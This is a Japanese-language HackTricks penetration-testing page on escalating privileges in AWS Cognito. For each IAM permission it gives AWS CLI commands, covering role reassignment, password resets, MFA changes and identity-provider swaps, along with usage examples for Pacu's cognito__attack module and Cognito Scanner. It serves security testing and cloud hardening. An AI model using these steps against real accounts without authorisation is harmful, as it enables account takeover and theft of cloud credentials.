# AWS - Cognito Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Cognito

Cognitoの詳細については次を参照してください:

{{#ref}}
../../aws-services/aws-cognito-enum/
{{#endref}}

### Identity Poolから資格情報を収集する

Cognitoは**IAM role credentials**を**authenticated**および**unauthenticated**の両方の**users**に付与できるため、アプリケーションの**Identity Pool ID**（多くの場合アプリにハードコーディングされている）を特定できれば、新しいクレデンシャルを取得してprivescすることができます（おそらく以前は一切クレデンシャルを持っていなかったAWSアカウント内で）。

For more information [**check this page**](../../aws-unauthenticated-enum-access/index.html#cognito).

**潜在的な影響:** unauth usersに紐付いたサービスロールへの直接的なprivesc（おそらくauth usersに紐付いたロールにも）。

### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`

この権限があれば、cognito appのauthenticated/unauthenticated usersに対して**grant any cognito role**を与えることができます。
```bash
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
If the cognito app **unauthenticated users が有効になっていない** 場合、有効化するために `cognito-identity:UpdateIdentityPool` 権限も必要になることがあります。

**Potential Impact:** 任意の cognito role への直接的な privesc。

### `cognito-identity:update-identity-pool`

この権限を持つ攻撃者は、例えば自身が管理する Cognito User Pool や、自分でログインできるその他の identity provider を、**この Cognito Identity Pool にアクセスする手段**として設定できます。すると、そのユーザー提供元に単に **login** するだけで、**Identity Pool に設定された authenticated role へアクセスできる** ようになります。
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
```
この権限を**悪用して basic auth を許可する**ことも可能です:
```bash
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
```
**Potential Impact**: identity pool 内に設定された認証済み IAM role を侵害する可能性がある。

### `cognito-idp:AdminAddUserToGroup`

この権限は **CognitoユーザーをCognitoグループに追加する** ことを許可するため、攻撃者はこの権限を悪用して攻撃者が操作するユーザーを権限が **より高い** または **異なる IAM roles** を持つ他のグループに追加する可能性がある:
```bash
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
```
**潜在的影響:** Privesc が他の Cognito グループおよび User Pool Groups に紐付く IAM ロールへの権限昇格を引き起こす可能性があります。

### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`

これらの権限を持つ攻撃者は、**グループを作成/更新**して、**侵害された Cognito Identity Provider によって使用可能なすべての IAM ロール** を割り当て、侵害されたユーザーをそのグループの一員にして、それらすべてのロールにアクセスできるようにする可能性があります：
```bash
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
```
**潜在的影響:** Privesc to other Cognito IAM roles.

### `cognito-idp:AdminConfirmSignUp`

この権限により**サインアップを確認**できます。デフォルトでは誰でも Cognito アプリケーションにサインインできるため、そのままにしておくと、ユーザーは任意のデータでアカウントを作成し、この権限でそれを確認できてしまいます。
```bash
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
```
**Potential Impact:** 新しいユーザーを登録できる場合、認証済みユーザーの identity pool IAM role に対する間接的な privesc。任意のアカウントを confirm できることで、他のアプリ機能への間接的な privesc。

### `cognito-idp:AdminCreateUser`

この権限があれば、攻撃者は user pool 内に新しいユーザーを作成できます。新しいユーザーは enabled な状態で作成されますが、パスワードの変更が必要になります。
```bash
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
```
**潜在的な影響:** 認証済みユーザー向けの identity pool IAM role への直接的な privesc。 他のアプリ機能（任意のユーザーを作成できる）への間接的な privesc。

### `cognito-idp:AdminEnableUser`

この権限は、攻撃者が無効化されたユーザーの認証情報を入手し、そのユーザーを**再度有効化する**必要があるという非常に稀なエッジケースで役立ちます。
```bash
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
```
**潜在的影響:** 間接的に identity pool IAM role への privesc を引き起こし、攻撃者が無効化されたユーザーの認証情報を持っていた場合はそのユーザーの権限を取得できます。

### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**

この権限は[**method ADMIN_USER_PASSWORD_AUTH**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** 詳細はリンクを参照してください。

### `cognito-idp:AdminSetUserPassword`

この権限により攻撃者は**任意のユーザーのパスワードを変更**でき、MFAが有効でないユーザーをなりすますことが可能になります。
```bash
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
```
**潜在的影響:** ほぼ任意のユーザーに対する直接的な privesc を引き起こす可能性があり、そのユーザーが所属するすべてのグループへのアクセスや Identity Pool の authenticated IAM role へのアクセスが可能になる。

### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`

**AdminSetUserSettings**: 攻撃者はこの権限を悪用して、自身が管理する携帯電話をユーザーの**SMS MFA**として設定する可能性がある。
```bash
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
```
**SetUserMFAPreference:** 前のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護を回避するために使用できます。
```bash
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
```
**SetUserPoolMfaConfig**: 前のものと同様に、この権限を使って user pool の MFA 設定を変更し、MFA 保護を bypass できます。
```bash
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
```
**UpdateUserPool:** ユーザープールを更新して MFA ポリシーを変更することも可能です。 [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).

**Potential Impact:** 攻撃者が認証情報を知っている任意のユーザーに対する間接的な privesc が発生する可能性があり、MFA 保護を回避できる場合があります。

### `cognito-idp:AdminUpdateUserAttributes`

この権限を持つ攻撃者は、制御下にあるユーザーのメールアドレスや電話番号、またはその他の属性を変更して、基盤となるアプリケーションでより高い権限を取得しようとする可能性があります。\
これにより、メールアドレスや電話番号を変更して検証済みとして設定することができます。
```bash
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
```
**Potential Impact:** ユーザ属性に基づいて権限を付与する Cognito User Pool を利用する基盤アプリケーションに対する間接的な privesc の可能性。

### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`

この権限を持つ攻撃者は、既存のクライアントより制限の緩い新しい **User Pool Client を作成**できる可能性があります。例えば、新しいクライアントは任意の認証方法を許可したり、シークレットを持たなかったり、トークン取り消しを無効にしたり、トークンの有効期限を長く設定したりできます...

新しいクライアントを作成する代わりに、**既存のクライアントを変更**して同様のことを行うことも可能です。

[**コマンドライン**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)（または[**更新用**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)）で全オプションを確認できます。チェックしてみてください！
```bash
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
```
**潜在的影響:** Identity Pool の許可されたユーザー（User Pool で使用される）に対する間接的な privesc の可能性。新しい client を作成してセキュリティ対策を緩和することで、攻撃者が自分で作成したユーザーでログインできるようになる。

### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`

攻撃者はこの権限を悪用して、新規ユーザーを含む csv をアップロードすることでユーザーを作成できます。
```bash
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
```
(新しい import job を作成する場合、iam passrole permission が必要になる可能性があります。まだテストしていません)。

**潜在的影響:** 認証済みユーザーに対する identity pool IAM role への直接的な privesc。任意のユーザーを作成できるその他のアプリ機能への間接的な privesc。

### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`

攻撃者は新しい identity provider を作成し、**このプロバイダ経由でログインする**ことができるようになります。
```bash
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
```
**Potential Impact:** 認証済みユーザーが identity pool IAM role への直接的な privesc。アプリの他の機能が任意のユーザーを作成できることによる間接的な privesc。

### cognito-sync:* 分析

これは Cognito Identity Pools のロールでデフォルトによく見られる許可です。ワイルドカードを含む許可は常に見た目が良くない（特に AWS 由来の場合）ですが、**与えられた許可は攻撃者の観点から見るとそれほど有用ではありません**。

この許可は Identity Pools の情報および Identity Pools 内の Identity IDs を読み取ることを許可します（これは機密情報ではありません）。\
Identity IDs には [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) が割り当てられていることがあり、これはセッションの情報（AWS はこれを **saved game** のように定義しています）。機密情報が含まれている可能性はありますが、その確率はかなり低いです。この情報にアクセスする方法は[**enumeration page**](../../aws-services/aws-cognito-enum/index.html)に記載されています。

攻撃者はこれらの許可を使って、**enroll himself to a Cognito stream that publish changes** on these datases や **lambda that triggers on cognito events** に自分を登録することも可能です。私はこれが使われているのを見たことはなく、ここに機密情報があるとは期待しませんが、あり得ないわけではありません。

### Automatic Tools

- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.

モジュールの機能の説明は [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) の part 2 を参照してください。インストール手順はメインの [Pacu](https://github.com/RhinoSecurityLabs/pacu) ページを参照してください。

#### 使用例

特定の identity pool と user pool client に対してユーザー作成とすべての privesc ベクトルを試みるための cognito\_\_attack の使用例:
```bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
現在の AWS アカウントに表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集するための cognito\_\_enum の使用例:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は python 製の CLI ツールで、Cognito に対するさまざまな攻撃（privesc のエスカレーションを含む）を実装しています。

#### Installation
```bash
$ pip install cognito-scanner
```
#### 使用法
```bash
$ cognito-scanner --help
```
詳細については以下を参照してください: [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)

{{#include ../../../../banners/hacktricks-training.md}}
